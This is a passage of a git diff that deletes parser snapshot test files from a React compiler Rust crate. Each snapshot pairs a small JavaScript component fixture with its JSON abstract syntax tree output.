-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            218,
-                            221
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          210,
-                          221
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "StringLiteral",
-                          "value": "B",
-                          "loc": null,
-                          "range": [
-                            222,
-                            225
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        210,
-                        226
-                      ]
-                    },
-                    {
-                      "type": "StringLiteral",
-                      "value": "f",
-                      "loc": null,
-                      "range": [
-                        228,
-                        231
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    210,
-                    231
-                  ]
-                },
-                "computed": true,
-                "loc": null,
-                "range": [
-                  187,
-                  233
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "SequenceExpression",
-                  "expressions": [
-                    {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "changeF",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          240,
-                          247
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            248,
-                            249
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        240,
-                        250
-                      ]
-                    },
-                    {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "console",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            252,
-                            259
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "log",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            260,
-                            263
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          252,
-                          263
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "StringLiteral",
-                          "value": "arg",
-                          "loc": null,
-                          "range": [
-                            264,
-                            269
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        252,
-                        270
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        272,
-                        273
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    240,
-                    273
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                187,
-                278
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              187,
-              279
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                289,
-                290
-              ]
-            },
-            "loc": null,
-            "range": [
-              282,
-              291
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          57,
-          293
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        36,
-        293
-      ],
-      "loc": null,
-      "range": [
-        36,
-        293
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    36,
-    293
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@computed-call-spread.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@computed-call-spread.js.snap
deleted file mode 100644
index 4d0099e588ce..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@computed-call-spread.js.snap
+++ /dev/null
@@ -1,258 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/computed-call-spread.js
----
-Input:
-function Component(props) {
-  const x = foo[props.method](...props.a, null, ...props.b);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "foo",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        40,
-                        43
-                      ]
-                    },
-                    "property": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          44,
-                          49
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "method",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          50,
-                          56
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        44,
-                        56
-                      ]
-                    },
-                    "computed": true,
-                    "loc": null,
-                    "range": [
-                      40,
-                      57
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "SpreadElement",
-                      "argument": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            61,
-                            66
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            67,
-                            68
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          61,
-                          68
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        58,
-                        68
-                      ]
-                    },
-                    {
-                      "type": "NullLiteral",
-                      "loc": null,
-                      "range": [
-                        70,
-                        74
-                      ]
-                    },
-                    {
-                      "type": "SpreadElement",
-                      "argument": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            79,
-                            84
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            85,
-                            86
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          79,
-                          86
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        76,
-                        86
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    87
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  87
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              88
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                98,
-                99
-              ]
-            },
-            "loc": null,
-            "range": [
-              91,
-              100
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          102
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        102
-      ],
-      "loc": null,
-      "range": [
-        0,
-        102
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    102
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@computed-load-primitive-as-dependency.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@computed-load-primitive-as-dependency.js.snap
deleted file mode 100644
index d14ac6316348..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@computed-load-primitive-as-dependency.js.snap
+++ /dev/null
@@ -1,330 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/computed-load-primitive-as-dependency.js
----
-Input:
-function Component(props) {
-  let a = foo();
-  // freeze `a` so we know the next line cannot mutate it
-  <div>{a}</div>;
-
-  // b should be dependent on `props.a`
-  let b = bar(a[props.a] + 1);
-  return b;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      38,
-                      41
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    38,
-                    43
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  43
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              44
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    106,
-                    109
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  105,
-                  110
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      111,
-                      112
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    110,
-                    113
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    115,
-                    118
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  113,
-                  119
-                ]
-              },
-              "loc": null,
-              "range": [
-                105,
-                119
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              105,
-              120
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    168,
-                    169
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "bar",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      172,
-                      175
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "BinaryExpression",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            176,
-                            177
-                          ]
-                        },
-                        "property": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              178,
-                              183
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              184,
-                              185
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            178,
-                            185
-                          ]
-                        },
-                        "computed": true,
-                        "loc": null,
-                        "range": [
-                          176,
-                          186
-                        ]
-                      },
-                      "operator": "+",
-                      "right": {
-                        "type": "NumericLiteral",
-                        "value": 1.0,
-                        "loc": null,
-                        "range": [
-                          189,
-                          190
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        176,
-                        190
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    172,
-                    191
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  168,
-                  191
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              164,
-              192
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "b",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                202,
-                203
-              ]
-            },
-            "loc": null,
-            "range": [
-              195,
-              204
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          206
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        206
-      ],
-      "loc": null,
-      "range": [
-        0,
-        206
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    206
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@computed-store-alias.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@computed-store-alias.js.snap
deleted file mode 100644
index d466121df870..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@computed-store-alias.js.snap
+++ /dev/null
@@ -1,339 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/computed-store-alias.js
----
-Input:
-function component(a, b) {
-  let y = { a };
-  let x = { b };
-  x["y"] = y;
-  mutate(x);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          39,
-                          40
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          39,
-                          40
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        39,
-                        40
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    37,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              43
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    50,
-                    51
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          56,
-                          57
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          56,
-                          57
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        56,
-                        57
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    54,
-                    59
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  50,
-                  59
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              46,
-              60
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    63,
-                    64
-                  ]
-                },
-                "property": {
-                  "type": "StringLiteral",
-                  "value": "y",
-                  "loc": null,
-                  "range": [
-                    65,
-                    68
-                  ]
-                },
-                "computed": true,
-                "loc": null,
-                "range": [
-                  63,
-                  69
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "y",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  72,
-                  73
-                ]
-              },
-              "loc": null,
-              "range": [
-                63,
-                73
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              63,
-              74
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  77,
-                  83
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    84,
-                    85
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                77,
-                86
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              77,
-              87
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                97,
-                98
-              ]
-            },
-            "loc": null,
-            "range": [
-              90,
-              99
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          101
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        101
-      ],
-      "loc": null,
-      "range": [
-        0,
-        101
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    101
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@concise-arrow-expr.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@concise-arrow-expr.js.snap
deleted file mode 100644
index cd94636d34ad..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@concise-arrow-expr.js.snap
+++ /dev/null
@@ -1,316 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/concise-arrow-expr.js
----
-Input:
-function component() {
-  let [x, setX] = useState(0);
-  const handler = (v) => setX(v);
-  return <Foo handler={handler}></Foo>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        30,
-                        31
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "setX",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        33,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    29,
-                    38
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useState",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      41,
-                      49
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        50,
-                        51
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    41,
-                    52
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  52
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              53
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "handler",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    62,
-                    69
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "v",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        73,
-                        74
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "setX",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        79,
-                        83
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "v",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          84,
-                          85
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      79,
-                      86
-                    ]
-                  },
-                  "generator": true,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    72,
-                    86
-                  ],
-                  "expression": true,
-                  "loc": null,
-                  "range": [
-                    72,
-                    86
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  62,
-                  86
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              56,
-              87
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    98,
-                    101
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "handler",
-                      "loc": null,
-                      "range": [
-                        102,
-                        109
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "handler",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          111,
-                          118
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        110,
-                        119
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      102,
-                      119
-                    ]
-                  }
-                ],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  97,
-                  120
-                ]
-              },
-              "children": [],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    122,
-                    125
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  120,
-                  126
-                ]
-              },
-              "loc": null,
-              "range": [
-                97,
-                126
-              ]
-            },
-            "loc": null,
-            "range": [
-              90,
-              127
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          129
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        129
-      ],
-      "loc": null,
-      "range": [
-        0,
-        129
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    129
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@cond-deps-conditional-member-expr.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@cond-deps-conditional-member-expr.js.snap
deleted file mode 100644
index b948b45f919c..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@cond-deps-conditional-member-expr.js.snap
+++ /dev/null
@@ -1,229 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/cond-deps-conditional-member-expr.js
----
-Input:
-// To preserve the nullthrows behavior and reactive deps of this code,
-// Forget needs to add `props.a` as a dependency (since `props.a.b` is
-// a conditional dependency, i.e. gated behind control flow)
-
-function Component(props) {
-  let x = [];
-  x.push(props.a?.b);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          213,
-          222
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            223,
-            228
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    238,
-                    239
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    242,
-                    244
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  238,
-                  244
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              234,
-              245
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    248,
-                    249
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    250,
-                    254
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  248,
-                  254
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "OptionalMemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        255,
-                        260
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        261,
-                        262
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      255,
-                      262
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      264,
-                      265
-                    ]
-                  },
-                  "computed": false,
-                  "optional": true,
-                  "loc": null,
-                  "range": [
-                    255,
-                    265
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                248,
-                266
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              248,
-              267
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                277,
-                278
-              ]
-            },
-            "loc": null,
-            "range": [
-              270,
-              279
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          230,
-          281
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        204,
-        281
-      ],
-      "loc": null,
-      "range": [
-        204,
-        281
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    204,
-    281
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@conditional-break-labeled.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@conditional-break-labeled.js.snap
deleted file mode 100644
index 7530856e4bdd..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@conditional-break-labeled.js.snap
+++ /dev/null
@@ -1,463 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/conditional-break-labeled.js
----
-Input:
-/**
- * props.b *does* influence `a`
- */
-function Component(props) {
-  const a = [];
-  a.push(props.a);
-  label: {
-    if (props.b) {
-      break label;
-    }
-    a.push(props.c);
-  }
-  a.push(props.d);
-  return a;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          49,
-          58
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            59,
-            64
-          ]
-        }
-      ],
-      "body": {
